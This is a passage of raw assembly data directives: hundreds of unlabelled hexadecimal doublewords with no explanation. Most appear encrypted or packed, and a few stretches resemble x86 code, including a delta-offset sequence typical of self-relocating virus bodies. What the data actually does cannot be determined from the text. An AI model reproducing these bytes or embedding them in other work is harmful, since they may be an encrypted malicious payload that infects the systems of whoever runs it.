		dd 535E33F5h, 46D5B77Ah, 958BB132h, 0BCCF3A52h,	0D5BCFF7Ah
		dd 7529B10Dh, 54BECEB1h, 29D4BA46h, 58DFB522h, 0BDC176B1h
		dd 46AD76D8h, 5675B133h, 117D43D9h, 565DB222h, 37475A32h
		dd 0BADCE4F1h, 56AB5952h, 0D78FB132h, 18A628D8h, 14C73A34h
		dd 0DDBCFF7Bh, 50D4B977h, 1FEC33B1h, 3753B77Ch,	56AF73FBh
		dd 56D55952h, 0D7B0B132h, 18390CD8h, 68083A34h,	6D5BFF7Bh
		dd 18E7F380h, 0DD6CC534h, 59743A0Ch, 0A0D4FE84h, 236AB075h
		dd 0BDACB236h, 15639A30h, 0B7D83A71h, 0DDA8F900h, 1E54B4BFh
		dd 24738A34h, 210C8A3Bh, 522C3237h, 994E78D9h, 0EB33B946h
		dd 5015B237h, 95CF06D9h, 56575952h, 0D7F1B132h,	1898A4D8h
		dd 68503A34h, 0EF73FF7Bh, 56BAB032h, 0FDAE7101h, 1F9033B9h
		dd 0D4DEB77Ch, 50E5F870h, 0BEB57253h, 56EAB132h, 699F3068h
		dd 90BCFF7Fh, 1E5248B7h, 6FC6E734h, 0A983AE5Fh,	1E821887h
		dd 36503C34h, 0A9ECFA4Dh, 3E25E3E2h, 56BA3132h,	0E4A2B158h
		dd 50E0F9D8h, 0C0F61CDh, 562BB15Ah, 0A9D5DB32h,	18A38F80h
		dd 37A54E34h, 0BA31E4F1h, 565D5952h, 0D7F4B132h, 181A3CD8h
		dd 5EDE3A34h, 56D729DAh, 0C415E432h, 503BF9C8h,	5ACF8A6Fh
		dd 0D0B55F47h, 37AEB130h, 565F73FBh, 0D5473A67h, 1834DF6h
		dd 56EA5961h, 0D72FB132h, 18F770D8h, 5E283A34h,	1BECCB9h
		dd 56605964h, 96A0B132h, 0AE5E9046h, 0AC784E67h, 0B73FF7Ah
		dd 22B6C409h, 48D6D720h, 0DC5E56B2h, 0A6B4312Ch, 56AD2CDAh
		dd 0DF015A32h, 0B024D4Fh, 0D8A4ECCh, 1331EF6Dh,	5A9F78CEh
		dd 0BA25E432h, 1AF75B1h, 91F8E064h, 56D54977h, 0D42DB132h
		dd 503BF818h, 56BAB133h, 3055C4B9h, 0EC25AFB9h,	5019F9D8h
		dd 5DA3EEB9h, 6DDAC5E9h, 0DDECC4ECh, 9FCBD6Fh, 427D323Eh
		dd 0DD3B5BD9h, 0BE55312Ch, 5699353Dh, 0AD2BB132h, 9351BEDBh
		dd 0D6EAB132h, 0D27A5AC9h, 56BAB18Eh, 59BF4AB2h, 56AE1DB6h
		dd 0B5AC3132h, 5631353Dh, 0D7B3B132h, 5909D6C9h, 567529B6h
		dd 0A65D3132h, 59A63054h, 0C72ABEB2h, 0D657B132h, 0AD2B41D1h
		dd 0D351BE42h, 30EAB132h, 0B5F5AFB9h, 0EE4131CAh, 68DDF346h
		dd 0D693C537h, 6E239C0Ch, 22C38FB2h, 7C574E01h,	30ECFF7Bh
		dd 0B1F5AFB9h, 0AD3BD7CAh, 762959B3h, 0D6B03A54h, 0D73141D5h
		dd 226B30C9h, 0A980D121h, 18A24BA0h, 13FCEC34h,	2B39D0CEh
		dd 3528B0CEh, 45D30BB9h, 0DD07B77Ah, 18E29BB0h,	66E98834h
		dd 0DDBAC36Ah, 1E704488h, 0D431E134h, 5013F818h, 0E9E8D0Bh
		dd 46BC8C4Dh, 5453F4F5h, 0BDD5B132h, 0AEAF7635h, 5675B133h
		dd 1E500BB9h, 49D6B77Ch, 49DA6A39h, 59226F09h, 0D5A7ECB9h
		dd 22D5494Fh, 0AEB7B231h, 0D571EEBBh, 0B451A5F5h, 96B47101h
		dd 30AEB132h, 2BDCAFB9h, 0BD50313Eh, 0B555BB46h, 261131C2h
		dd 649EA746h, 9153B6F4h, 565DB075h, 9125B132h, 0BF5271B1h
		dd 56ABB1A5h, 59D27654h, 0D6F43B3Ah, 9DF5BED1h,	57E539B2h
		dd 565FF6F5h, 0DDAEB132h, 509732F5h, 0D7CDC8D9h, 2245210Ch
		dd 0C6D4313Dh, 0D713BF47h, 0C62A4E4Ch, 52B6B346h, 94576B9h
		dd 1F1133BFh, 0FBB77Ch,	1E2B23CDh, 96E1B77Ch, 9EFEBB46h
		dd 1FFC03BFh, 46B6B77Ch, 3603A64h, 1EAD23CDh, 7DF6B77Ch
		dd 80C46FCh, 5712CCB1h,	1FC5A147h, 5902D798h, 59F6D7B7h
		dd 0FDAFF784h, 2BD4AAD9h, 45DEB3CAh, 9FDE0954h,	0EE8C1A54h
		dd 0FD13353Dh, 57FC073Dh, 0A55F5A99h, 0D693A96h, 9F08EF6Bh
		dd 3ABB9F0h, 0BEB55DB9h, 56EAB132h, 499F3068h, 0DDBCFF62h
		dd 0D4D4B977h, 50E0F9C0h, 52957853h, 0BA20E432h, 362D75B1h
		dd 56EAB1DAh, 0BCF4EB32h, 50F4E172h, 56A5F4F5h,	91AEB132h
		dd 56574D77h, 9698B132h, 91CB3A54h, 18A39BB0h, 5675B034h
		dd 0AD3BD732h, 562821A2h, 59464AB2h, 5656B9B6h,	0AD2BF132h
		dd 0A851BEDBh, 16EAB132h, 599E4AB2h, 56BA45B6h,	0B1DDF132h
		dd 0AD2FD7C2h, 0D258313Dh, 56ABB1D7h, 56543331h, 0D6AAB77Ah
		dd 0D27A53C9h, 56BAB1FCh, 59BE4AB2h, 56AE0DB6h,	0ADD6D732h
		dd 0D2A45255h, 56D5B188h, 0D61A52B2h, 0D27AC1C9h, 56BAB187h
		dd 0D6433A54h, 0AD2E49D1h, 0D610C58Ah, 14DFB40Ch, 22F88FB2h
		dd 3ED4310Fh, 0A9358946h, 18F39BB0h, 48D6D734h,	305656B2h
		dd 0BED64AB3h, 0DDCD9546h, 0A632312Ch, 0D7113054h, 3662C5F2h
		dd 0AC284E67h, 0B5BFF7Ah, 3752F4BBh, 57ABCCB1h,	5783343Dh
		dd 0EC5EB132h, 50A2A24Fh, 7CF73A62h, 6FBCFF7Bh,	5905810Eh
		dd 56AFA0B0h, 0A3ED3A32h, 6ADF937h, 1FFF33B9h, 6AD3B77Ch
		dd 0D97AE902h, 56BAB1C8h, 1EB30BB9h, 0D42DB77Ch, 5019F9DCh
		dd 0DF9C3826h, 0DD85A175h, 18A39BB0h, 66693A34h, 5EE5386Ah
		dd 565D64DBh, 0AEEB7632h, 5657B130h, 136CB6D9h,	56D5B0CAh
		dd 0B8503A32h, 0D573FF7Ah, 18F25FB0h, 61D4A534h, 0D5BEF6BBh
		dd 5A22B2CAh, 1F8133F5h, 56D7B77Ch, 5301B132h, 2B7749B1h
		dd 0AEC7326Dh, 5946C532h, 0FFAFF784h, 5657B1B2h, 0D5EBB747h
		dd 5E3EB4DAh, 56EA4E1Fh, 539D3232h, 0DDE9BAD9h,	18149BA8h
		dd 65AA3A34h, 56571869h, 42DE3132h, 96567731h, 7C68B237h
		dd 1E73FF7Bh, 0DFB2F6BBh, 0B6BD75h, 908569C5h, 96D469C5h
		dd 7C29B237h, 1ED3FF7Bh, 0DFE2F6BBh, 689EBD75h,	10307101h
		dd 23DD1933h, 0D568B213h, 57ECB3F2h, 5DABB132h,	0DCDCC5E9h
		dd 1B94ECA8h, 57963134h, 11337231h, 5A1A383Ah, 8E59A5D9h
		dd 56574E17h, 0A16D9A32h, 541532EAh, 0DFE2F6BBh, 378DBD75h
		dd 0DDEF72FBh, 0AA9932DEh, 56AE5952h, 0D70DB132h, 18F9E0D8h
		dd 0BC6F3A34h, 65ECFF7Ah, 564A32FBh, 5678353Dh,	51D6B132h
		dd 0A9A2C4CDh, 0BE07B947h, 56ABB041h, 9156B441h, 0DF085A26h
		dd 238A4D77h, 5ECF4E3Eh, 0AB586CDh, 59AEB133h, 565726B0h
		dd 0AAEE3A32h, 0D4DAB60Bh, 56EAB1BEh, 0D589F4CDh, 22BAB54Dh
		dd 5A22323Ah, 0BDACC532h, 0A9A8093Ch, 53124ECDh, 0A5D5B132h
		dd 0D5295A99h, 2270A14Dh, 46C5323Dh, 174CC434h,	0DDAAF6B9h
		dd 15BCBD6Dh, 0DDAFF6B9h, 6F3EBD6Dh, 0DDEEF6B9h, 94EBD6Dh
		dd 4AFC43Ah, 7D59E6B9h,	3ADA167h, 5A083A26h, 0BD286B19h
		dd 443EEB37h, 0DDEEF6B9h, 95EBD6Dh, 53513236h, 78E43B31h
		dd 292DB77Ah, 5722B222h, 0DF729A73h, 0EED4B06Eh, 0A9154ECDh
		dd 5675B48Bh, 0BF114232h, 0A9A24E64h, 466C7853h, 0BADCE432h
		dd 365775B1h, 56D5B1DAh, 0BC6BEB32h, 503BE20Eh,	1E500BB9h
		dd 9F6EB77Ch, 59AE8EB1h, 565720B6h, 0A9AC3A32h,	232ABD47h
		dd 0DE02E13Ah, 2575B132h, 427D3237h, 13D453D9h,	5ADB4ECEh
		dd 0A95FC4CDh, 56DA5905h, 3CA7B132h, 6F16F4B9h,	0A916C335h
		dd 29394D77h, 5E29B136h, 56A2CEB1h, 58BCB346h, 0A9544E8Ah
		dd 56D008CDh, 0FD19B132h, 29F67AD9h, 59CEB422h,	504DCEB1h
		dd 0DDEFA047h, 9DCB575h, 0DDB65A3Eh, 95EB575h, 0DDF95A3Eh
		dd 9FEB575h, 52E59A3Eh,	0D5585AB1h, 23ADA14Dh, 8F7CF033h
		dd 57AAEDBBh, 0A92A4E8Ah, 56EF08CDh, 0FD86B132h, 9FDB36D9h
		dd 35DB9F0h, 0DDCE5DB9h, 136CB977h, 6DA3C33Eh, 55A2A177h
		dd 0AFE95ACAh, 9F14B1D9h, 3BABDF0h, 92DE5DB9h, 5646D1CEh
		dd 0C57B132h, 2B95BB3h,	9FE6B77Ch, 0B636A01h, 0BCCF3ACEh
		dd 0D5BCFF7Ah, 3229B10Dh, 23518EB1h, 42903237h,	292840D9h
		dd 5EA1B136h, 56E6CEB1h, 5E9EB346h, 0D546F4CDh,	8DB6A5F5h
		dd 53BECEB1h, 29D4BE46h, 47DEB722h, 52923A73h, 0BDE6EEB9h
		dd 52323A2Fh, 0BDB6EEB9h, 521A3A21h, 7DA2EEB9h,	0BDD4B56Dh
		dd 46D43237h, 17D4C431h, 0A636819h, 0A9CDB033h,	0EF454ECDh
		dd 565DB137h, 0C1451AC1h, 0AA123A53h, 7FB72FBh,	56D55961h
		dd 0D7B0B132h, 18212CD8h, 54203C34h, 0EE5BFF7Bh, 56AEB156h
		dd 565763DAh, 6DA03A32h, 55C15AF3h, 97D1B579h, 1D76A640h
		dd 247B8A22h, 0BD5F5A30h, 0DBBC5A26h, 18E009A8h, 0BD784E34h
		dd 884F3C3Ah, 0A9ECFF88h, 0E2CEAE1h, 0BA31E4F1h, 565DB1DAh
		dd 0BC2FEB32h, 5019E5DEh, 54113C52h, 0DDD3FF7Bh, 5163B977h
		dd 0DF79F4B9h, 1331B575h, 5A1A3822h, 0DFBAF4B9h, 9F36A175h
		dd 36ABA1F0h, 592C34F4h, 3EADB77Ah, 0FE62C228h,	7F1304CDh
		dd 0D3D0B77Ah, 50E5CE52h, 0DB0561CDh, 18E29FB8h, 862AE034h
		dd 78683C68h, 5973FF7Bh, 0DDB6F185h, 6752E3EAh,	0DF6DB268h
		dd 1E5050B0h, 51C3D034h, 0E852h, 815A0000h, 4E555DEAh
		dd 828B5206h, 64807E1h,	0C64E6DB9h, 5AE1F741h, 303905h
		dd 0FFFF2500h, 82897FFFh, 64807E1h, 51C3595Ah, 0E852h
		dd 815A0000h, 4E558DEAh, 0E8C88B06h, 0FFFFFFBBh, 0F1F7D233h
		dd 595AC28Bh, 8BC08BC3h, 9E858DC0h, 0FF064E4Bh,	0C18B66D0h
		dd 5556858Dh, 8589064Eh, 6481029h, 5586858Dh, 8589064Eh
		dd 6480CE1h, 0B8h, 0FC00B00h, 4784h, 0F985C600h, 5606480Fh
		dd 0C530DF68h, 0A9B5FFA9h, 8D064829h, 4B7F6085h, 50D0FF06h
		dd 11C18D8Dh, 6A510648h, 10006804h, 0B5FF0000h,	6481345h
		dd 0BD8BD0FFh, 6481345h, 813C7F03h, 0F8C7h, 2447C700h
		dd 60000020h, 1A319D8Dh, 38B0648h, 840FC00Bh, 5, 4389008Bh
		dd 4CF6B904h, 8D8D0023h, 64E56D7h, 0CEA7E881h, 8D8965B6h
		dd 6481405h, 85C7F28Bh,	6483025h, 5FC0h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Dh, 0DC35646h, 4F2B03C0h
		dd 7BF30539h, 0E1BD09DEh, 5306481Ch, 28F5B58Bh,	0C75A0648h
		dd 482AD985h, 6, 0C2B70F00h, 2FB5B5FFh,	6A0648h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 3BB11FC3h, 89AAB1ACh, 48127595h, 7195FF06h, 306480Eh
		dd 48183D9Dh, 0FF006A06h, 48092D95h, 0EBC08B06h, 0E5617E0Dh
		dd 4462B871h, 10BF38B6h, 8D8D2A01h, 64E579Eh, 6E9h, 6F513E00h
		dd 8908ABD0h, 4814058Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 488D10FBh, 331D16C5h
		dd 7519D09h, 0D6810648h, 58B146CCh, 302585C7h, 618C0648h
		dd 0BD330000h, 64811B1h, 7AEBCE81h, 85C7732Eh, 6482AD9h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4AC35343h
		dd 843C03C3h, 0C3BF0FF3h, 13A19D89h, 0B5FF0648h, 6480C39h
		dd 0DB9958Bh, 95FF0648h, 6480E71h, 6860Fh, 9D8B0000h, 6480329h
		dd 95FF006Ah, 648092Dh,	7BEBC08Bh, 6D589F8Bh, 91A0B7F4h
		dd 0CD24E362h, 0CA6D7E2Dh, 13E9819Fh, 4EEBC7E4h, 0BF724BEDh
		dd 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 0AE789A0h, 0B18D1B5Bh
		dd 75F730B9h, 55EDC8FCh, 88082B2Eh, 0BD9E786Eh,	5BCA4149h
		dd 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h, 0E54CFCD9h, 7382D57Eh
		dd 27BD04B8h, 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h, 0E669CC6Eh
		dd 49008DD8h, 3B8546AEh, 6DB04D10h, 0E8CEBA1Ch,	6, 8FEA4169h
		dd 0D3812A27h, 64391B6Bh, 3870F58h, 0F000000h, 0C081DEB7h
		dd 6B85h, 10E8h, 44DEE800h, 0BA7F7122h,	88535E4Fh, 98D58CF3h
		dd 0B9BD2BBAh, 5B06480Bh, 0BEh,	30148B00h, 8E8h, 1F0B5F00h
		dd 9D562C8Bh, 6870FC4h,	89000000h, 48288DB5h, 0EA815F06h
		dd 38EEEDACh, 5E9h, 4C7FB300h, 0C281DB1Eh, 4FD8813Ch, 3FD78166h
		dd 1FEA81DDh, 57088272h, 14E8h,	84F0BD00h, 9AF3EE67h, 9CDEB088h
		dd 6F7DD7CCh, 97FBECECh, 8E87Dh, 9D240000h, 576C929Ah
		dd 595BB54Fh, 8B66525Bh, 30048FFBh, 819D8B53h, 5B064813h
		dd 0F02EE83h, 1980h, 14E900h, 33680000h, 0C973E9A1h, 50C58AB8h
		dd 0B8359A7Eh, 0F120F9E6h, 4E4E095Fh, 0C0E98166h, 9CFE81E9h
		dd 0FFFFF95h, 1A85h, 8B665100h,	32E95BFBh, 43000000h, 0A03BF5FDh
		dd 0BF7080F5h, 793A498h, 0E9424B9Dh, 11h, 0E76E71A3h, 64FC3159h
		dd 3BA0C16Ch, 0F5EF056Dh, 0FF1FE9B5h, 0F81FFFFFh, 3FD59EBh
		dd 2508EB16h, 4A25ADh, 0E9000000h, 0BB6h, 4E5AF068h, 0EF60E906h
		dd 0D368FFFAh, 0E9064E5Bh, 0FFFAEF56h, 4E5D4E68h, 0EF4CE906h
		dd 8068FFFAh, 0E9064E5Eh, 0FFFAEF42h, 4E603E68h, 0EF38E906h
		dd 4768FFFAh, 0E9064E62h, 0FFFAEF2Eh, 4E639B68h, 0EF24E906h
		dd 0A9EAFFFAh, 4D55737Fh, 0D9DBC5F5h, 5C434D0Dh, 0CFCAD484h
		dd 47205D1Dh, 0AE22FAA7h, 34A46420h, 0B931EBAAh, 0D4D891Fh
		dd 0C55215BDh, 2073D426h, 11778C41h, 810FE7D5h,	32B5D919h
		dd 759A7F65h, 17B73E80h, 7C05B571h, 4B971151h, 0D6C93805h
		dd 0E728AA2Bh, 8D13BB05h, 29AD317h, 0A765246Ah,	0DEA5D29h
		dd 0E8759AD9h, 4C1F456h, 8F52CBE2h, 483FBD0Fh, 73D2CB97h
		dd 14B688D0h, 9E3871EAh, 4240h,	65907700h, 3C2A9D31h, 998F5262h
		dd 79D289C7h, 0B473D272h, 3B5917F5h, 0AE2CA27Ah, 2DBF3DE7h
		dd 379C92B2h, 0AC1BB3E3h, 73D272CFh, 338CFD85h,	21EF0992h
		dd 3876D69Fh, 38CE98AAh, 0DF329Eh, 77C50000h, 2E635611h
		dd 1964A0E2h, 2FFD4438h, 9EDCBE66h, 656BB1F0h, 0DE990F91h
		dd 0F3CEA6E2h, 99DCBE8Fh, 656BAFF5h, 0F5E52167h, 9A7EAB32h
		dd 80445A75h, 39E3A2ECh, 0E8A429B3h, 7E7CB8EEh,	0C4E88CB7h
		dd 0FB3D622Ch, 0D78AEBF5h, 2E93D96Fh, 8C16CF86h, 218F52E2h
		dd 2752D39Fh, 0AFEC5B73h, 8A891C56h, 0ACF29C30h, 15586268h
		dd 0FFB9E77Fh, 0FA92C223h, 5BA4E816h, 0DF0D8C12h, 199D0393h
		dd 9F1A84C9h, 68F3E04Dh, 0A52B022Ah, 96608h, 0CC1C8700h
		dd 5A9E028Ch, 0D20E8816h, 69ABF09Eh, 0E23A6761h, 52B2F3EEh
		dd 0DBC5F557h, 45430FDBh, 0CAD48440h, 5810D4h, 251EFF68h
		dd 0BEFB73D4h, 96A08179h, 647F6A09h, 9613BB32h,	69C3AB6h
		dd 17F68EC2h, 2A7E940Fh, 0FFDEE0EEh, 0D4054E1h,	0FB659028h
		dd 9A7FAF4Ch, 16F04A75h, 6259C97Eh, 62FC8F52h, 90F6986Ch
		dd 11446654h, 0D272FB54h, 0A29CBC73h, 38C4E600h, 9F4C9Eh
		dd 776B0000h, 72B2E911h, 0FDBCDA90h, 0D3FAA12Fh, 0D4759A7Bh
		dd 8305AD75h, 31A447E5h, 0BF33F7ADh, 22E2B9E7h,	0B97D23ABh
		dd 13477233h, 0EBDACC7Bh, 56778F52h, 84902520h,	3F653B4Bh
		dd 0D05119FBh, 6ADDF1A5h, 891CB4DEh, 8709AD3Fh,	0F68EC21Ah
		dd 0B408E95Eh, 53ED7598h, 0D735741Ah, 2A9C1B76h, 0A805CB02h
		dd 883h, 0A921E3A4h, 33BF7B2Fh,	0BB371395h, 24E861Dh, 8BC70584h
		dd 3071911Eh, 0BAFAE4D4h, 2164626Eh, 0B3E9F7FBh, 4B637B77h
		dd 0D424FF9Ch, 569F1A73h, 9ED20A77h, 626EAAF0h,	0D51177CDh
		dd 0FCBDFC1h, 940A8846h, 6E991850h, 0DD25A2CAh,	388F5254h
		dd 0F4AA28A6h, 0FE58880Ch, 0ACED4F2h, 0A3793C62h, 0F38F742Ah
		dd 0FE081847h, 0D1B7506Eh, 653BA515h, 3830DA1h,	616FBBFBh
		dd 6F8FD5Fh, 94478D41h,	194640F4h, 9566C830h, 0C08E6897h
		dd 5319C3C2h, 0D07BB591h, 0E780BEEEh, 9D7565A1h, 626BAFF3h
		dd 0CAE2267Ch, 541ADEC4h, 0D48B430Ah, 0F494E17Eh, 0B15668B0h
		dd 25A32FEBh, 7035BB7Fh, 0CA7D1145h, 0F1A30A3Ch, 5320A73Fh
		dd 0B60D230Ah, 932DA114h, 772B56DFh, 3B2AE85Fh,	0BD0FF7EBh
		dd 3A96483Fh, 89D10B6Bh, 80E915B7h, 4543E681h, 72000004h
		dd 0D7E2F1C6h, 8A5C0BA3h, 418F526Fh, 0C18F4B5Fh, 70E5B235h
		dd 0BE0073D2h, 5BE599DCh, 0FF2B6D33h, 0CCD2C2F6h, 91561FCDh
		dd 0F2E0A27Ch, 5F772B56h, 0CD8D9C7h, 0A6777C4Eh, 43F2DCA2h
		dd 841CF4F9h, 0B0A77EA5h, 5518EA59h, 14AFE690h,	0FBF14B08h
		dd 0FFA10F3Ah, 5B656BB7h, 94BF7F1Ch, 72439AF4h,	0C13C4C5Ch
		dd 9F379173h, 592C1728h, 5C70CA0Eh, 0F946C32h, 5D436B35h
		dd 16CA8347h, 77D61288h, 856DF42Eh, 8A30AC0h, 39000007h
		dd 0A422AE7Eh, 2AB424FCh, 923CBC68h, 1987CB0Dh,	910C4C98h
		dd 57B5F414h, 0E9397D1Bh, 66BEE7E1h, 0F2366C6Ah, 1C6EEFEh
		dd 73D42270h, 90231495h, 2A9D3165h, 8F5254C4h, 5F6D66C7h
		dd 0AB9AD6A3h, 5C12AC22h, 1690683Eh, 0F7518BF6h, 7105E7F9h
		dd 67816ED9h, 0C58273D2h, 73D26734h, 3F810FD1h,	0DADAF8B6h
		dd 4242400Eh, 67FA9B4Ch, 4D1F73D2h, 0E450EDE3h,	0E64BD8EBh
		dd 764894EEh, 0D97109EDh, 0D2A3816Eh, 34C58273h, 0D173D2A3h
		dd 0B63F810Fh, 61F99896h, 0D2A309E6h, 1B52EC73h, 92096994h
		dd 297E1C52h, 0BA30DEFh, 8CC10185h, 882B73F4h, 7CCE891Ah
		dd 424C527Ch, 9AB8F485h, 0ED4F1175h, 0D8917EFh,	88CD9FDDh
		dd 3D788006h, 75D7E9E7h, 0A7E9FD47h, 10AA20E0h,	16B18F5Dh
		dd 9F04B470h, 98700E63h, 2CFC9h, 6590EC00h, 6D059D31h
		dd 9A7F1DFAh, 4E66F875h, 9A7FF899h, 0A431D75h, 6816F25Dh
		dd 0EA5DF58Fh, 73D4260Dh, 6F1F56E8h, 0AAD7B9DDh, 51507E72h
		dd 0B517D3B7h, 268C4007h, 0E7BD73D4h, 0F1734223h, 25ABFB99h
		dd 5D688h, 5C8CF700h, 0EA2E721Ch, 62BEF8E6h, 0F93B606Eh
		dd 72AAD7F1h, 0C222437Eh, 4B5505C7h, 0B5D39F4Bh, 3AA414F0h
		dd 9028A064h, 21AE4FF8h, 2E4B73D4h, 0FB6590E9h,	9A7FAF4Ch
		dd 5A3BAC75h, 0BF759A7Fh, 73DD6F2Dh, 1641EC5Bh,	1EA08F68h
		dd 0B1732876h, 5E44423Ch, 0D2C8D69Ah, 643A5816h, 94082AA0h
		dd 0A4CF4AB5h, 521BF344h, 752BBCF2h, 4DD3178Dh,	0BF339D55h
		dd 0D30C06E7h, 0A02EFEBBh, 44693F1Eh, 0F65252C8h, 0EAEFE6F8h
		dd 9E3E87D8h, 1F772h, 0E9810500h, 9A7F917Eh, 46B4DB75h
		dd 0FA762766h, 4502AA34h, 759A02B4h, 0D8C68F51h, 0BC4806C2h
		dd 2D2A324h, 9537759Ah,	2A94601h, 0F24C759Ah, 9CDD3FBh
		dd 0A3673B65h, 66DA932Dh, 5F85008Eh
		dd 30646F16h, 1B9A049Ch, 0AFDB8CC1h, 428F5210h,	0D5CAD4F8h
		dd 3FE45A13h, 73D21062h, 8A0B2525h, 10A475F2h, 4A5173D2h
		dd 34FAC48Ah, 2AB4BAAh,	6F409265h, 9E417D66h, 4AEB9E38h
		dd 8A000000h, 9D316590h, 636AB2F3h, 624CDA8Dh, 57E98F52h
		dd 72E9A219h, 652473D2h, 0F7AB29A7h, 72A14EF9h,	0FA4473D2h
		dd 22025218h, 0B53470Ch, 7F3A6435h, 0D89D2FADh,	38C4B7B3h
		dd 8344DC9Eh, 73D27EF2h, 0A900B517h, 0AFh, 0D511774Ch
		dd 6CB8F9E7h, 81F1F948h, 68FF0927h, 752BA965h, 79D3BB1h
		dd 0F5D88FC3h, 0F2759A8Eh, 0BE3CF4ACh, 0EF498B10h, 66A2F8E6h
		dd 0DC808B6Ah, 2FA30FB8h, 0D6B88F54h, 0E37A70ACh, 0EB686416h
		dd 5ECCAECAh, 0CAC48953h, 3C45C70h, 73D05F72h, 0E8803597h
		dd 0A921FBA6h, 0DBBA622Fh, 46277D6h, 183BB238h,	49000004h
		dd 0B4D29E4Eh, 3AA414ECh, 0A22CAC78h, 29B73BFDh, 813CBC68h
		dd 478504E4h, 0D9098D0Bh, 568EF791h, 0E2267C1Ah, 31B6DEEEh
		dd 73D41F60h, 7733E485h, 69ED20Ah, 8AC31998h, 325A9E04h
		dd 7F4C2D9Ah, 17A9759Ah, 774DE25Eh, 60C1D511h, 89B02B7Ch
		dd 29E5E8F9h, 950DF5ABh, 36FFF35Dh, 0A73F570Bh,	8CBB580Fh
		dd 8C5E759Ah, 986E1CC9h, 9C6D8F52h, 0D4CB1C38h,	210C5E1Ch
		dd 159176E8h, 5B258735h, 8CC29C12h, 0D20344D7h,	2AEEB573h
		dd 0AE30BE6Ah, 9B008ECCh, 5E72365h, 7FB1ED57h, 7CB292D4h
		dd 395D010Ch, 1A17F08Eh, 2E12F389h, 23E7BD63h, 52AADFC2h
		dd 0B5D9631Bh, 5ECDAA1Dh, 0AA28759Ah, 23BD33F5h, 9F500C41h
		dd 4E961F81h, 9737BE00h, 198735F1h, 3DDA8D83h, 0D8759A7Fh
		dd 4D34A406h, 0DE761E42h, 7FF08146h, 4B15759Ah,	6D214502h
		dd 72CC8F52h, 6DCA877Ch, 810773D2h, 0F891745h, 56A35250h
		dd 2D8FD3B4h, 3C72DAAFh, 655B8397h, 4A2B9C34h, 0AF73D266h
		dd 0DB078F1Dh, 1982CB95h, 9E38DCEDh, 3147h, 65906E00h
		dd 24059D31h, 5B00D7CCh, 0F899DED3h, 1D759A9Dh,	0F5720A43h
		dd 8F528055h, 0BB606EF0h, 73D290E6h, 0E587B9A1h, 9E3826D9h
		dd 10073h, 11770200h, 0B8F9E7D5h, 47A305EFh, 3BAC6C33h
		dd 759AFA5Ah, 0E1432DBFh, 0F0B7EDEBh, 0ECD37391h, 0EDE34DA6h
		dd 0D7137719h, 6EAAF09Eh, 4612BD62h, 8B15759Ah,	13165D0Eh
		dd 7929B698h, 118FD19Fh, 99054894h, 0D8BC703h, 0FD396F97h
		dd 1EC9EDFFh, 759ABB71h, 6268CA94h, 0C5477883h,	60B9D79Bh
		dd 17F69E78h, 0C072BDC0h, 5A32BB91h, 529C39EDh,	224A148Fh
		dd 0E1EF3D7Ch, 5BDA96DFh, 99680C30h, 0CFF2CCBCh, 552BA2B1h
		dd 1C70CE92h, 90572F89h, 75987003h, 0C2C644E6h,	94764806h
		dd 0C9139E00h, 429A0781h, 2A58A0E3h, 0DD905E02h, 20Fh
		dd 25957730h, 0AF23E7BBh, 37BB6721h, 0BE32F2A9h, 74B9110h
		dd 8C0DED8Ah, 0E761058h, 0B5F09ED2h, 3F65636Fh,	0BFD7F7FBh
		dd 0D41D6B08h, 2AE38E73h, 0BAD20A77h, 9D41536Bh, 0AB22338Fh
		dd 0F3C021F1h, 4CF435A2h, 75D73375h, 0B0485E40h, 64A14F4h
		dd 31659031h, 1B9B059Dh, 0B63F81CFh, 526251F1h,	2F56F48Fh
		dd 0FEA52BF5h, 73D2722Dh, 7278B8E0h, 0C7F54F54h, 6DF6C814h
		dd 891B1535h, 9E38C47Dh, 28C97E16h, 0CD73D27Eh,	0FE637A73h
		dd 12000000h, 0E7D51177h, 0E63B3E0Fh, 62140CF5h, 311CE859h
		dd 4DFAA37Dh, 759AE6ACh, 0A015F749h, 0F95733Eh,	0F05455CBh
		dd 4806E0FAh, 9AE2CC93h, 0DEC5CB75h, 4F847185h,	0BD1FD21Ah
		dd 0A628AD3Fh, 0DCB424E0h, 42694C0Dh, 0B23B2760h, 3CB2762Ch
		dd 27602668h, 4B460C94h, 7664C639h, 6F9A6154h, 6224A3CBh
		dd 4F8F5273h, 934FDFDh,	3EA94155h, 73D26C51h, 6C049552h
		dd 5FE173D2h, 0A910FD1h, 55ED83CAh, 6A926CBDh, 1A3017DEh
		dd 0D253BC5Dh, 0CE875973h, 1CF2D019h, 0BE321389h, 0EF8C3B86h
		dd 0A7598F1h, 0E1AC55B0h, 8D2CC81h, 0AD7F3A64h,	1AE6A32Dh
		dd 8F0D4385h, 9D7FD905h, 2AA4EF30h, 4A92702h, 0BBh, 7179ABECh
		dd 0FBF73357h, 430FDBDDh, 0CA865E45h, 531FCDCCh, 0F8B95926h
		dd 6222AC2Ch, 0E9AC2AA6h, 8B11BF33h, 13BB034Fh,	0D41CC754h
		dd 8E472273h, 9ED20A77h, 626EAAF0h, 0D51177CDh,	883E0FE7h
		dd 60027845h, 0A8FEE0D5h, 7A856C6Ch, 7E16AEC6h,	5DA09BAFh
		dd 0DB985E95h, 759AEB3Ah, 9F480DDFh, 8F6882B4h,	0BDE38B55h
		dd 489411E5h, 90DEB802h, 0B2B24304h, 0F55773D4h, 0EEECA22Bh
		dd 527C7CB8h, 1DC2884Ch, 0C7396ACFh, 81102E3Eh,	6EC4AAA0h
		dd 87CE2E03h, 15458107h, 9BD1158Bh, 23A4A6FDh, 3FBF3A52h
		dd 54B15B7h, 0C85F51B1h, 3C5A16D2h, 812CA266h, 3, 77BC8B54h
		dd 0F09EDC0Ch, 62606EAAh, 0D5F3F923h, 5D7B71D1h, 0C4C2885Ch
		dd 4B4907C5h, 0B0DE9C54h, 26A42AF6h, 5B28A662h,	81E18951h
		dd 4C1h, 4E98300h, 31240C33h, 0C33240Ch, 89565C24h, 4C681E6h
		dd 83000000h, 348704EEh, 2C895C24h, 0E2895224h,	4C281h
		dd 0EA830000h, 24148704h, 241C895Ch, 599DBB53h,	8956064Eh
